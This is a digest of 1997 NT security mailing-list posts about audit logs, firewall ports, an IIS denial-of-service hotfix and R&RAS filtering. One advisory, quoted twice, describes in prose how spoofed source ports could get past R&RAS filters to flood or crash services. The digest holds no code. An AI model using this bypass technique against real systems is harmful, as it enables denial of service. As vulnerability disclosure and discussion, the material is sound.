Now you can leave the Administrator account ability to handle the logs
set normally and simply change the psuedo-admin to not be able to affect
the logs.

The real question is 'what are you trying to accomplish' and why isn't
the so-called ADMIN cooperating?

>Bill Kearney 
>------------------------------
>
>Date: Thu, 26 Jun 1997 07:33:29 +0200
>From: Helmut Teppich 
>Subject: [NTSEC] Audit Question/Problem
>
>First problem: The ADMIN deleted the logs. Trying to see the audit-settings
>where forbidden to ADMIN saying "no access", but deleting was possible. Is
>there a way to prevent this?
>
>Second problem: The log was full (1024 size) before the 14 days werte over
>but no message came up to warn about this and some activities got lost. Is
>there a way to prevent this ?
>
>Third problem: the ADMIN was able to change the right to manage the logs,
>back to himself. Is there any way to prevent this?
>
> Date: Wed, 25 Jun 1997 18:49:16 -0700 (PDT)
> From: Simon Yeo 
> Subject: [NTSEC] Demoting PDC
> 
> Is it possible to demote a Primary Domain Controller to a standalone
> server? If so, how?

No. The only way to change a P/BDC to a Workgroup server or
vice-versa is to reinstall.

Alternatively, just leave it as a PDC with no net connection, then it
is a standalone server.

---
tim nelson voice +1 905 873 6236
Going South - Consulting Services, Computer Hardware, Software http://www.yotta.com/gs
The Yotta Company - Web Site Hosting, Web Page Development http://www.yotta.com
Home of 200 free magazines and Running In Canada
Piers Cawley wrote:
> Ah, first we have naming of parts methinks. The sense in which I'm
> using hacker when describing the person who found the bug is the old,
> positive, sense of 'one who is curious about/playful with technology',
> not in it's more modern misused sense of 'one who maliciously breaks
> into computer systems'.
> 
> > Before you release a piece of code, you should be sure that it
> > can accept garbage on all inputs. This is especially true if
> > the code is server code. Microsoft should have run this test.
> > If someone runs this type of test against your system, and your
> > system fails it, then you have not done your job. That person
> > should not be vilified in any way.
> 
> Absolutely. And if my initial post gave the impression that the person
> who found this hole deserves vilification then I unreservedly
> apologize for my muddy writing.

I think that we agree. Your post was clear. I cut to heavily, I
think. It was Microsoft's villification I was referring to.
The word "hacker" has had so many meanings and shades of meaning, 
that I think the word is becoming useless. Microsoft uses it 
as a pejorative. They might as well have said, "Some bastard
broke our IIS." 

I still remember the old meaning of "hacker" as a programmer
who knew just enough to almost get a project done, but ultimately
would fail leaving behind a complete mess of code that no one
could support. The guy did not know what he was doing, he was
"hacking" (visions of a large machete being used to carve small 
ivory figurines should come to mind).

[cut great discussion and sig]

-leonard
OK NT guys, I am running this link with tcpip ONLY! Can what I want be done? Do those ports need netbios?


Bill

----------
From: Mohning, Brad
Sent: Thursday, June 26, 1997 11:23 AM
To: Breen, Bill
Cc: engadm@level1.com
Subject: Re: FW: [NTSEC] What Ports will the remote admins tools use?

Hi Bill,

Yes, but only if you are doing netbios types of protocols.

Port Name Description
137/tcp netbios-ns NETBIOS Name Service
137/udp netbios-ns NETBIOS Name Service
138/tcp netbios-dgm NETBIOS Datagram Service
138/udp netbios-dgm NETBIOS Datagram Service
139/tcp netbios-ssn NETBIOS Session Service
139/udp netbios-ssn NETBIOS Session Service

Can you find out if the applications you want access to use netbios calls?

Thanks,
Brad


> From level1.com!bbreen Thu Jun 26 10:41:31 1997
> From: "Breen, Bill" 
> To: "Esquivel, Victor" , "Mohning, Brad"
> , "Royston, Chris" 
> Subject: FW: [NTSEC] What Ports will the remote admins tools use?
> Date: Thu, 26 Jun 1997 10:37:45 -0700
> Encoding: 38 TEXT
> 
> This makes sense to you guys?
> 
> Bill
> 
> ----------
> From: bbrown@allensysgroup.com[SMTP:bbrown@allensysgroup.com]
> Sent: Thursday, June 26, 1997 5:11 AM
> To: Breen, Bill
> Subject: Re: [NTSEC] What Ports will the remote admins tools use?
> 
> You may need 137 thru 139 to provide Ns networking ability.
> 
> Bobby
> 
> ----------
> : From: Breen, Bill 
> : To: 'ntsecurity@iss.net.'
> : Subject: [NTSEC] What Ports will the remote admins tools use?
> : Date: Wednesday, June 25, 1997 12:26 PM
> : 
> : I just had an ISDN line installed at home that connects me to work. The 
> : line connects to via a UNIX host. There is a firewall installed on the 
> : host that is currently stopping most of everything I need. The UNIX
> admins 
> : said if I could tell them what ports to allow, then they will make the 
> : changes for me. Here are the apps I wish to run remotely:
> : 
> : NT system admin tools. This includes. User Manager for Domains, Server
> 
> : manager for domains, Ras administrator, event viewer, Exchange Server
> Admin 
> : tools, Performance monitor, and Wins.
> : 
> : These are just a few, but some of the more important ones. Any help is 
> : very much appreciated.
> : 
> : Bill Breen
> : 
> 
No. The only way to go between a standalone server and a domain
controller or vice-versa is through a complete reinstall. The last time
I tried it wouldn't even work by doing an upgrade.

Chris

>-----Original Message-----
>From: Simon Yeo [SMTP:syeo@CS.Stanford.EDU]
>Sent: Wednesday, June 25, 1997 7:49 PM
>To: ntsecurity@iss.net
>Subject: [NTSEC] Demoting PDC
>
>
>Is it possible to demote a Primary Domain Controller to a standalone
>server? If so, how?
>Thanks in advance,
>
>-Simon
>
-----BEGIN PGP SIGNED MESSAGE-----

On 26 Jun 97 at 11:37, Robert Barnes wrote about: RE: [NTSEC] MS Proxy
vs. R&RAS dial

> I am experimenting with R&RAS at the moment and am seeing
> "unexpected" connections being made over the link to my ISP.
> I turned event logging up to full and it tells me that a DNS
> request is periodically bringing the link up, BUT it is a UDP
> packet and my output filters are set up to block ALL UDP packets. So
> why are blocked packets initiating a connection?
> 
> Anyone else seeing the same or know what is wrong?


Where did you block the ports? On your router? What type of router do
you have?

If you block the ports on NT Server in the advanced section of the
TCP/IP properties, be advised that those blocks are only for INBOUND
connections. Your system is still able to send out what it wants. So,
don't block ports on NT but on your router.


Regards,
Frank



-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBM7LFNsZP3ocmY5AlAQE9swP9HNUK0BnAi4Jzdvx8e2GxPzxC22lejp8I
0EIqMlazyOksdU2lqGocNHoQx4ggSjJCP4fHMwTv8VWb+tO3hORLiOC3jRlfc3mo
Ih5QXIFinpU2GJe+medl9ENmvXJxgDFFyCflTrLZC3nziz52SU1cB7IXfPrWRiym
CyGrZ7zU2cw=
=ZmuF
-----END PGP SIGNATURE-----
-----BEGIN SPAM WARNING-----

WARNING: ANYONE SENDING UNREQUESTED ADVERTISEMENT
VIA EMAIL WILL BE ADDED TO A FILTER LIST, WHICH WILL
AUTOMATICALLY DELETE EVERY MAIL FROM THE SENDER.
THIS WILL DISABLE FURTHER CORRESPONDENCE.
PLEASE REFRAIN FROM SENDING JUNK E-MAIL (SPAM).
THIS E-MAIL ADDRESS IS NOT TO BE ADDED TO A MASS
EMAIL LIST.

-----END SPAM WARNING-----
-- 
---------------------------------------------------
Michael McKay | Phone: 212-695-5445
MasterNet, Inc. | Fax: 212-643-2384
134 W. 32nd St., Suite 400 | Email: mckaymi@dti.net
New York, NY 10016-3201 |
---------------------------------------------------

"Imagine, if you will, 
a world without hypothetical situations."Received: from mail3.microsoft.com (mail3.microsoft.com [131.107.3.23]) by mail.dti.net (8.8.5/1.2/rdf) with ESMTP id VAA07553; Wed, 25 Jun 1997 21:23:03 -0400 (EDT)
Received: by mail3.microsoft.com with Internet Mail Service (5.0.1458.49)
 id ; Wed, 25 Jun 1997 18:25:37 -0700
Message-ID: 
From: System Professional News 
Subject: Microsoft Systems Professional News--Special Alert
Date: Wed, 25 Jun 1997 18:24:05 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1458.49)
Content-Type: text

=================================================
 MICROSOFT SYSTEMS PROFESSIONAL NEWS
=================================================

Hot-fix for Internet Information Server Denial of Service Issue 

This special edition of the Microsoft Systems Professional News delivers
important information about a hot-fix available for the Microsoft
Internet Information Server (IIS) Denial of Service Issue.

Microsoft has identified an Internet Information Server issue that can
be exploited by a malicious hacker to "crash" IIS making it temporarily
unavailable. These types of Denial of Service issues are common on the
Internet and could happen to any web server. However, this bug does not
compromise sensitive data in any way. It forces IIS to become
unavailable for a short time and is easily remedied by restarting the
web server. It does not effect Windows NT Server in any way. 

Microsoft takes issues like these very seriously and has responded
rapidly by addressing the issue with a permanent fix that prohibits this
specific type of attack and also records the IP address of the attacker
in a log file. 

Customers should download and apply this patch to their systems to
ensure their sites are protected from this type of attack. 

For more information on this Denial of Service issue, read the bulletin
on the IIS site: 
http://www.microsoft.com/iis/iisnews/hotnews/issue.htm.
The Knowledge Base article below also provides more detail:
ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixe
s-postSP3/iis-fix/q143484.txt 

The hot-fix can be downloaded at the following FTP site: 
ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixe
s-postSP3/iis-fix 





 hello,

 suppose two networks separated by a router, let's say ExposedNet and
SecureNet (purely hypothetical :-) ), with some cisco box between.

 i want to allow just the necessary ports, and i need to be abble to
manage iis services & sql servers which are running in ExposedNet from
SecureNet.

 so here's my question: what are the ports these software use? i looked
in nt server rskit, but didn't find anything.

 hope i've been clear enough

 fx
-- 
Peretmere Francois-Xavier - paris, france, europe, earth... - fx@4js.com
 "if you can't change the world, change yourself (linux)
 but if can't change yourself then... change the world." - the the/dusk
Not that I know of.

> -----Original Message-----
> From: Simon Yeo [SMTP:syeo@cs.stanford.edu]
> Sent: Thursday, June 26, 1997 11:49 AM
> To: ntsecurity@iss.net
> Subject: [NTSEC] Demoting PDC
> 
> 
> Is it possible to demote a Primary Domain Controller to a standalone
> server? If so, how?
> Thanks in advance,
> 
> -Simon
-----BEGIN PGP SIGNED MESSAGE-----

Howdy.

Has Steelhead been moved out of beta yet? I don't know if MS Web site
was acting up (again...), but my download attempt on Steelhead got
cancelled, and while going back, I got several errors. After about 5
minutes I tried again, and hey, the pages have changed. It's now
called Ras&Routing instead of Steelhead.

If I'm not mistaken than the final release version has just been made
available to the public. I'm downloading as I type...


Is the web site acting up on me? Can someone confirm the move from
beta to release?


Regards,
Frank


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBM7LeK8ZP3ocmY5AlAQEr4wQAtnxdF6FXIAkLF5N9Gq1JQnhgakADurKD
ruWI5QPH+ZqZgwap92pNjXvvLhP4ACRkq0kUNM48ZVOdGciLZEzhNVJmHaWsR6HL
HYKW/VAIUPxe2mAZc/gfXGOvLxSEQRx4E15GoviLTeKYRxM8cwxO4oxlsnHKcLin
wUDU4U+kq8w=
=KaZd
-----END PGP SIGNATURE-----
-----BEGIN SPAM WARNING-----

WARNING: ANYONE SENDING UNREQUESTED ADVERTISEMENT
VIA EMAIL WILL BE ADDED TO A FILTER LIST, WHICH WILL
AUTOMATICALLY DELETE EVERY MAIL FROM THE SENDER.
THIS WILL DISABLE FURTHER CORRESPONDENCE.
PLEASE REFRAIN FROM SENDING JUNK E-MAIL (SPAM).
THIS E-MAIL ADDRESS IS NOT TO BE ADDED TO A MASS
EMAIL LIST.

-----END SPAM WARNING-----

>First problem: The ADMIN deleted the logs. Trying to see the audit-settings
>where forbidden to ADMIN saying "no access", but deleting was possible. Is
>there a way to prevent this?
>
>No, one of the shortcomings of NT is that the Administrator user has full
>access and/or can give himself access to anything in the domain. At the
>moment there is no way to prevent this. Bear in mind that this is not just
>NT's problem. UNIX has a similar access issues with regards to the root
>user. At the moment, only in NetWare 4.X can one place any real restrictions
>on the admin user object.
>
>
>Second problem: The log was full (1024 size) before the 14 days werte over
>but no message came up to warn about this and some activities got lost. Is
>there a way to prevent this ?
>
>You can increase the size of the logs and also determine whether to allow it
>to overwrite itself.
>
>
>Third problem: the ADMIN was able to change the right to manage the logs,
>back to himself. Is there any way to prevent this?
>
>See answer number one
>
>Jim Barrett
>Sr. Network Consultant
>ICON Consulting Group
>(617) 236-8181
>www.icon-group.com
>
>

Guess they must be using FrontPage and getting a taste of their own
medicine (software)!



On Thu, 26 Jun 1997, Olivier Gerschel wrote:

> On Wednesday, June 25, 1997 11:53 PM, Park Byungchan 
> [SMTP:chickman@kol.net] wrote:
> 
> > I just tried downloading some files.
> >
> > It was a simple url that lunch a dll for downloading.
> > but I GOT THE BINARY OF THE DLL instead of the file i wanted.
> 
> I hope it's an interesting one ;-(.
> 
> My recent experiences with www.microsoft.com are rather bumpy lately :
> - Getting tons of "Object not found" or "Server too busy" displaying in 
> some frames in pages likes /iis or /ntserver.
> - It often takes a couple of refresh to have the page properly displayed 
> (entirely).
> - Some URLs on pages, especially long ones (????) give either of the 
> previously mentioned errors.
> - If you try and figure the target page exact name and use it instead, no 
> problems.
> 
> FTP is fine so far (except that a long url on www.microsoft.com referring 
> to a file in the the softlib, for instance, leads you to nowhere, unless 
> you direct an FTP request for the file at the proper location at 
> ftp.microsoft.com).
> 
> >
> > I guess that this problem is caused by 'execute option' setting on
> > internet information server manager.
> >
> > biscuit
> 
> It might also be a side-effect of the currently ongoing upgrade of their 
> site ?
> 
> Cheers,
> 
> Olivier.
> 
> 


> -----Original Message-----
> From: Russ [SMTP:Russ.Cooper@RC.ON.CA]
> Sent: Friday, June 27, 1997 2:24 AM
> To: NTBUGTRAQ@RC.ON.CA
> Subject: Alert: Routing and RAS Filtering issue
> 
> DO NOT RESPOND TO THIS MESSAGE WITHOUT REMOVING ALERT: FROM THE
> SUBJECT
> LINE.
> 
> I've just uncovered what appears to be a major problem with the
> filtering abilities of the Routing and RAS Service (R&R - Steelhead).
> 
> I should say that this issue is currently being investigated by MS,
> but
> given the newness of the product, the lack of wide deployment, and the
> seriousness of the problem, I thought I should send this message out.
> 
> R&R has no concept of an established connection. So in order to allow
> for two way communication over any protocol to any host, both Output =
> and
> Input rules must be configured. So, for example, if I wanted to permit
> an Exchange Server to communicate over the Internet for SMTP only, I'd
> need the following table of rules;
> 
> Filter Source IP Dest IP Protocol Source Port
> Dest Port
> Output 1.2.3.4 any TCP 0
> 25
> Input any 1.2.3.4 TCP 25
> 0
> Output 1.2.3.4 any UDP 0
> 25
> Input any 1.2.3.4 UDP 25
> 0
> Output 1.2.3.4 any TCP 0
> 53
> Input any 1.2.3.4 TCP 53
> 0
> 
> The first rule allows outbound connections to Internet SMTP servers
> The second rule allows data back from my outbound sessions
> The third rule allows inbound connections from the Internet
> The fourth rule allows data back to my inbound sessions
> The fifth and sixth rules are for DNS
> 
> The problem is in the reciprocal rules. The second rule above allows a
> connection to any port on my system as long as it originates from port
> 25 on any system on the Internet. How difficult would it be to write a
> program to use a source port of 25 and a destination port of, say, 19,
> and send a request to the chargen server to start spitting stuff out?
> =
> Or
> have it access TCP139 repeatedly doing login requests. Nothing would
> ever come back to me (since there isn't a reciprocal rule to allow
> outbound traffic back from the port I'm targeting), but I could easily
> do a Denial of Service on the machine on ports they never expected to
> see traffic on.
> 
> In the case of a machine without the RPC patch, but using R&R
> filtering
> to prevent connections to TCP135, I could drive the machine to 100%
> CPU
> utilization.
> 
> My point is not what can be done, but that it is possible to connect
> to
> ports that have been thought to be filtered.
> 
> Here is a table representing the documentation provided in R&R =
> regarding
> setting up PPTP Filtering. This is intended to duplicate what NT does
> when you set the PPTP Filtering option without having R&R installed;
> 
> Filter Source IP Dest IP Protocol Source Port
> Dest Port
> Output any any TCP 1723
> any
> Input any any TCP any
> 1723
> Output any any TCP any
> 1723
> Input any any TCP 1723
> any
> Output any any 47 any
> any
> Input any any 47 any
> any
> 
> As you can see, their own documentation is telling you to open up all
> destination ports on your machine to an inbound connection from =
> anywhere
> with the only limit that the inbound connection must originate from =
> port
> 1723. Since there is no packet analysis taking place, that connection
> can carry any traffic you want to feed it.
> 
> Once again, let me stress, I understand that such a connection would =
> not
> be able to retrieve data from the NT server, so it couldn't be used to
> interact with the box, but it could be used to access ports other than
> the intended port and send that port data, thereby possibly killing
> the
> process, setting it into some abnormal termination, or simply flooding
> it with traffic.
> 
> Without the concept of "established" connections, the filtering
> abilities of R&R are useless. They are misleading at best (since =
> nowhere
> in the documentation is this fact explained or even mentioned) and
> will
> ultimately lead people to believe they have a stronger form of
> security
> than they really do.
> 
> I had hoped that R&R represented a significant addition to my arsenal
> =
> of
> tools/methods used to protect an NT box, but it clearly does not. I
> would say that the product falls way short of being what MS intended
> it
> to be also. An NT server with R&R installed would need to be placed
> between a pair of *real* routers with *real* packet filtering for it
> to
> be viable as any kind of security solution that involved packet
> filtering. It would have been far better to not provide any packet
> filtering thereby removing the possibility that someone might think
> their packet filtering gives them any form of security or =
> functionality.
> 
> Cheers,
> Russ
> R.C. Consulting, Inc. - NT/Internet Security
> owner of the NTBugTraq mailing list:
> http://ntbugtraq.rc.on.ca/index.html


> ----------
> From: Leonard Timmons[SMTP:ltimmons@acsatlanta.com]
> Reply To: Leonard Timmons
> Sent: Wednesday, June 25, 1997 1:10 PM
> To: ntsecurity@iss.net
> Subject: Re: [NTSEC] Official Microsoft response to ISS denial of
> service bug
> 
> Piers Cawley wrote:
> > At least they had the decency to use the phrase `malicious hacker',
> > tacitly accepting that not all hackers are malicious. However,
> > speaking as an old-fashioned hacker I'd much rather they used
> > 'cracker' or even 'scum'.
> 
> From what I read of the orignial article released by the person
> who found the bug, his behavior does not at all approach that
> of a hacker or 'cracker'.
> 
The issue wasn't the person who found the bug, it was the people who
exploited it to crash many web servers on the internet. They are
malicious, in my book.

> Before you release a piece of code, you should be sure that it
> can accept garbage on all inputs.
> 
You don't mean this -- there are 2**65536 possible combinations of
messages of length 8k bytes. Even for a protocol that accepts inputs of
maximum length 32 bytes, that's about 2**257 possible combinations. At
100000 combinations per second (a ten microsecond network round trip),
the latter would take 10**67 years -- for reference, the universe is
about 10**10 years old.

I would wager that _no-one_ has ever tested any even non-trivial
protocol with all possible inputs.

We did test IIS with garbage inputs -- just not exactly the right ones.

Paul
for those of you that have not yet heard, ie 4.0's java vm will support 
j/direct. for those of you that have not heard of j/direct, it adds win32 api 
support to java. is it just me, or does this seem like a slightly 
Bad Idea(tm) to anyone else? the only info that seems to be available 
is laden with marketing cruft and press release fluff, but *no where* 
does it say anything about Xtra security provisions being thrown in. so beyond 
absolutly butchering one of the core intentions of java (platform 
independence), it also says l8r to the sandbox and allows any applet to do 
anything it wants to any win32 system. anyway, it seemed to be just so 
blantantly stupid, that despite the redmond kids' past security 
aloofness, there *has* to be something there to keep my mom's hard drive 
from being formatted by some aol kiddie's ereet applet. any 
pointers/info/comments/discsuddion would be appreciated.

->twitch


----
insert witty .sig here

Anone knows how to get the MS Proxy server to disconnect after the 
idle time set? Did I miss any posts regarding this issue?

Thank you

Chris

Well, 

This could be a slight explanation to what you have noticed:

Date: Wed, 25 Jun 1997 01:03:42 -0400 (EDT)
Subject: Microsoft Web site Interrupted by cracker

Microsoft's Web site was disrupted briefly by a computer cracker who broke
into the site's server computers by exploiting a flaw in the Microsoft
Internet server software. The site was down only about 10 minutes, but
company officials say users may have experienced more problems because the
company currently is upgrading its servers. Microsoft has posted a fix for
the flaw on its Web site, and a marketing director says all that was needed
to get the machines going again was a reboot. 

That was taken off a RISKS security mailing list. Hope it helps. 

>Cheers, Olivier.

Ken

=------------------==--------------------------==------------------=
[*] Ken Harris ||| kenny@earthling.net ||| HTML / C++ [*] 
[*] Prez ||| prez@dal.net ||| irc.dal.net [*]
=------------------==--------------------------==------------------=
>> Nbf received an unexpected FRMR packet from a remote computer.

Almost every time one of our servers gets that error (rarely), I find
out that our Frame Relay provider (US West), has had a problem with the
circuit. I don't know if the FRMR is caused by the problem, or by a
test, or ???

If this discussion goes off-list, I'd be interested in hearing the
resolution.

Siobhan Jackson
siobhanj@atg.wa.gov
Olympia, Washington

>
This morning, as usual, I open up the Event viewer window, click on
one of the event in order to see the detail. But, Dr. Watson window
pop up, telling me that 

an application error has occured and an 
application error log is being generated
 service.exe

After that, another small window pop up, telling me that Remote 
Procedure Control is not available.

I go to Control Panel, click on the Services icon but what I get is
the small window telling me that Remote Procedure Control is not
availabe.

In order to view my Services again, the only thing that I can do is
restart me PC. But, if I repeat the process above, same thing happen.

Why this would happen? My PC is Windows NT 4.0 with SP2.

Really appreciate your help.

Thanks.

regards,
gek po

-----Original Message-----
From: Russ [SMTP:Russ.Cooper@RC.ON.CA]
Sent: Friday, June 27, 1997 2:24 AM
To: NTBUGTRAQ@RC.ON.CA
Subject: Alert: Routing and RAS Filtering issue

DO NOT RESPOND TO THIS MESSAGE WITHOUT REMOVING ALERT: FROM THE SUBJECT
LINE.

I've just uncovered what appears to be a major problem with the
filtering abilities of the Routing and RAS Service (R&R - Steelhead).

I should say that this issue is currently being investigated by MS, but
given the newness of the product, the lack of wide deployment, and the
seriousness of the problem, I thought I should send this message out.

R&R has no concept of an established connection. So in order to allow
for two way communication over any protocol to any host, both Output =
and
Input rules must be configured. So, for example, if I wanted to permit
an Exchange Server to communicate over the Internet for SMTP only, I'd
need the following table of rules;

Filter Source IP Dest IP Protocol Source Port Dest Port
Output 1.2.3.4 any TCP 0 25
Input any 1.2.3.4 TCP 25 0
Output 1.2.3.4 any UDP 0 25
Input any 1.2.3.4 UDP 25 0
Output 1.2.3.4 any TCP 0 53
Input any 1.2.3.4 TCP 53 0

The first rule allows outbound connections to Internet SMTP servers
The second rule allows data back from my outbound sessions
The third rule allows inbound connections from the Internet
The fourth rule allows data back to my inbound sessions
The fifth and sixth rules are for DNS

The problem is in the reciprocal rules. The second rule above allows a
connection to any port on my system as long as it originates from port
25 on any system on the Internet. How difficult would it be to write a
program to use a source port of 25 and a destination port of, say, 19,
and send a request to the chargen server to start spitting stuff out? =
Or
have it access TCP139 repeatedly doing login requests. Nothing would
ever come back to me (since there isn't a reciprocal rule to allow
outbound traffic back from the port I'm targeting), but I could easily
do a Denial of Service on the machine on ports they never expected to
see traffic on.

In the case of a machine without the RPC patch, but using R&R filtering
to prevent connections to TCP135, I could drive the machine to 100% CPU
utilization.

My point is not what can be done, but that it is possible to connect to
ports that have been thought to be filtered.

Here is a table representing the documentation provided in R&R =
regarding
setting up PPTP Filtering. This is intended to duplicate what NT does
when you set the PPTP Filtering option without having R&R installed;

Filter Source IP Dest IP Protocol Source Port
Dest Port
Output any any TCP 1723
any
Input any any TCP any
1723
Output any any TCP any
1723
Input any any TCP 1723
any
Output any any 47 any
any
Input any any 47 any
any

As you can see, their own documentation is telling you to open up all
destination ports on your machine to an inbound connection from =
anywhere
with the only limit that the inbound connection must originate from =
port
1723. Since there is no packet analysis taking place, that connection
can carry any traffic you want to feed it.

Once again, let me stress, I understand that such a connection would =
not
be able to retrieve data from the NT server, so it couldn't be used to
interact with the box, but it could be used to access ports other than
the intended port and send that port data, thereby possibly killing the
process, setting it into some abnormal termination, or simply flooding
it with traffic.

Without the concept of "established" connections, the filtering
abilities of R&R are useless. They are misleading at best (since =
nowhere
in the documentation is this fact explained or even mentioned) and will
ultimately lead people to believe they have a stronger form of security
than they really do.

I had hoped that R&R represented a significant addition to my arsenal =
of
tools/methods used to protect an NT box, but it clearly does not. I
would say that the product falls way short of being what MS intended it
to be also. An NT server with R&R installed would need to be placed
between a pair of *real* routers with *real* packet filtering for it to
be viable as any kind of security solution that involved packet
filtering. It would have been far better to not provide any packet
filtering thereby removing the possibility that someone might think
their packet filtering gives them any form of security or =
functionality.

Cheers,
Russ
R.C. Consulting, Inc. - NT/Internet Security
owner of the NTBugTraq mailing list:
http://ntbugtraq.rc.on.ca/index.html

Just clicked to the site, mentioned below, and saw that the program was
written for nt 3.51. Will it also work with nt 4?

>To all those you requested my RUNAS program. Another Phil B
>(philipb@omnicell.com) pointed me to a much cleaner implementation, saving
>me the time of cleaning it up myself. It's a NT service based
>implementation which get around some problems with the application based
>solution.
>
>http://www.informatik.hu-berlin.de/~skrause/sunt.html
>
>I have not tried it myself yet (no time). If it dosn't work, let me know.
>
>-Phil

Please everyone following this thread:

 Routing and RAS is not RAS

It is a new replacement for RAS recently released by 
Microsoft. Please go to their web site and check it
out if you don't know what it is.

--
Robert Barnes E-mail : rab@stallion.oz.au
Phone : +61 7 3270 4268 (direct) Fax : +61 7 3270 4245
Stallion Technologies
33 Woodstock Rd, Toowong, QLD 4066, Australia
See our Web site at http://www.stallion.com/
PGP Key ID: 1A4F626D
 Key Fingerprint: 02 A6 22 5E 26 D3 7C 4D E2 91 9E 15 AC EA B1 58
For Public Key send mail with "Subject: sendpgpkey"
 or search Public Key Servers
--


I have some problem It is not possible for me to do all setting on my internet server ( which is running on nt 4.0) is there any way where I can control all this things from remote site.

Dinesh sharma
Dinesh@bluestar.co.in

According to my experiences, you do not need all of 137-139 tcp/udp for MS 
networking. If you use an LMHosts file, you do not need 137. I've found 
that allowing tcp139 will accomplish netlogon and administration 
capabilities. I did not need 138 tcp/udp or 139 udp. This worked over an 
IP only connection (RAS) between NTW and NTS with multiple routers in 
between filtering out all but tcp 139.

--eric


Recently I've faced the following problem:

There is a small LAN with:
1 PDC (call it X)
3 NTWS (call them X1, X2, X3)
1 Win95 (call it X4)

There are some users with thei own account (call them u1, u2, u3)
and some other users who use an account called Joe.

All these users are supposed to use roaming profiles,
so there is a share on the X called profiles, which contains
all the profiles for each user.
In the User manager for Domains I have added 
the path \\X\profiles\ for the profile path

Joe is supposed to have restricted access to the network resources
so I've created a policy file (NTconfig.pol) and put it on NETlogon
directory. Joe was supposed not to have access to 
control panel, and to have a specific desktop with just a few specific
icons on it.

This is the configuration. The problem is that recently, when the
NT workstations boot and the user wants to logon, the roaming
profiles are not loaded for the users u1,u2,u3 and a message
"Cannot load the locally stored profile. Creating a new local profile
Error 1009" is appearing on the screen.
The result is that users u1,u2,u3 lose continuously their settings,
and they get a desktop different from the one they were supposed to have
(they were supposed just to see one icon for each application they use)

If anyone had faced the same problem , please contact me at:
pirot@forthnet.gr

Thanks in advance,
Panayotis Ipirotis

Frank Knobbe wrote:
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> Howdy.
> 
> Has Steelhead been moved out of beta yet? I don't know if MS Web site
> was acting up (again...), but my download attempt on Steelhead got
> cancelled, and while going back, I got several errors. After about 5
> minutes I tried again, and hey, the pages have changed. It's now
> called Ras&Routing instead of Steelhead.
> 
> If I'm not mistaken than the final release version has just been made
> available to the public. I'm downloading as I type...
> 
> Is the web site acting up on me? 


The problem You have is in cached pages somewhere in proxy community :)
i suppose.


>Can someone confirm the move from
> beta to release?


Yes Routing & Remote Access Service is final release of Steelhead
project.
As i remember, MS promise that R&RAS will be part of SP3, but they
late...

> 
> Regards,
> Frank

Regards
z.b.

-- 
_________ Zvezdelin Borisov ______ Naturella Agency Ltd. __________
____ tel.(+359 2) 9743253,768 891,764 485; fax (+359 2)9743095 ____
__________________ http://www.naturella.com/~zen __________________
__________ mailto: zborisov@naturella.com; zen@ntrl.net __________
MS ZERO ADMINISTRATION KIT IS YOUR ANSWER. Out soon. 

-----Original Message-----
From: Panayotis Ipirotis [SMTP:pirot@forthnet.gr]
Sent: Thursday, 26 June 1997 23:23
To: ntsecurity@iss.net
Subject: [NTSEC] Restrictions and roaming profiles do not apply

Recently I've faced the following problem:

There is a small LAN with:
1 PDC (call it X)
3 NTWS (call them X1, X2, X3)
1 Win95 (call it X4)

There are some users with thei own account (call them u1, u2, u3)
and some other users who use an account called Joe.

All these users are supposed to use roaming profiles,
so there is a share on the X called profiles, which contains
all the profiles for each user.
In the User manager for Domains I have added 
the path \\X\profiles\ for the profile path

Joe is supposed to have restricted access to the network resources
so I've created a policy file (NTconfig.pol) and put it on NETlogon
directory. Joe was supposed not to have access to 
control panel, and to have a specific desktop with just a few specific
icons on it.

This is the configuration. The problem is that recently, when the
NT workstations boot and the user wants to logon, the roaming
profiles are not loaded for the users u1,u2,u3 and a message
"Cannot load the locally stored profile. Creating a new local profile
Error 1009" is appearing on the screen.
The result is that users u1,u2,u3 lose continuously their settings,
and they get a desktop different from the one they were supposed to have
(they were supposed just to see one icon for each application they use)

If anyone had faced the same problem , please contact me at:
pirot@forthnet.gr

Thanks in advance,
Panayotis Ipirotis

--
\ / Ipirotis Panayotis (Pete Pirot, the pirate parrot pilot)
 \\ // Student of Computer Engineering and Informatics Department
 \\' , / // of the University of Patras, Greece
 \\\// _/ //'
 \_-//'/ //<' e-mail: pirot@forthnet.gr, pirot@ceid.upatras.gr
 \ /// > \\\`
 /,)-^>> _\` home-page: http://www.ceid.upatras.gr/~pirot/ 
 (/ \\/ \\\
 // //\\\ Love is a lie, life is a lie,
 // // \\ but I love life's lie and I live for the lie of love ...
------((`-((`----------------------------------------------------------------

Paul Leach writes:
> Leonard Timmons writes:
(BTW, when is whatever mail client Paul is using going to do the Right
Thing about attribution lines?)
> > Piers Cawley wrote:
> > > At least they had the decency to use the phrase `malicious
> > > hacker', tacitly accepting that not all hackers are
> > > malicious. However, speaking as an old-fashioned hacker I'd much
> > > rather they used 'cracker' or even 'scum'.
> > 
> > From what I read of the orignial article released by the person
> > who found the bug, his behavior does not at all approach that of a
> > hacker or 'cracker'.
> 
> The issue wasn't the person who found the bug, it was the people who
> exploited it to crash many web servers on the internet. They are
> malicious, in my book.

No denying that. But then I wouldn't call them hackers either; just
sad lusers who followed a recipe. There's far too many of these people
around in my arrogant opinion.

> > Before you release a piece of code, you should be sure that it can
> > accept garbage on all inputs.
> 
> You don't mean this -- there are 2**65536 possible combinations of
> messages of length 8k bytes. Even for a protocol that accepts inputs
> of maximum length 32 bytes, that's about 2**257 possible
> combinations. At 100000 combinations per second (a ten microsecond
> network round trip), the latter would take 10**67 years -- for
> reference, the universe is about 10**10 years old.
> 
> I would wager that _no-one_ has ever tested any even non-trivial
> protocol with all possible inputs.

Yup, you're probably right. But a standard technique for cracking
software is to go hunting buffer overruns.

> We did test IIS with garbage inputs -- just not exactly the right
> ones.

As it happens I do feel sorry for you guys. It can't be nice having
such a high profile when things go wrong. As someone pointed out to me
in conversation last night, if you'd known that this bug was there
then it wouldn't have been there.

I'm sorry to harp on this string all the time, but my main worry about
Microsoft Software on the Internet is that most of the broken code (as
opposed to broken design (ie ActiveX)) bugs that have come to light
have been relatively simpleminded. There is no longer any excuse for
writing code that falls over hard on buffer overruns. My guess is that
this particular bug is more of a fencepost error since there seems to
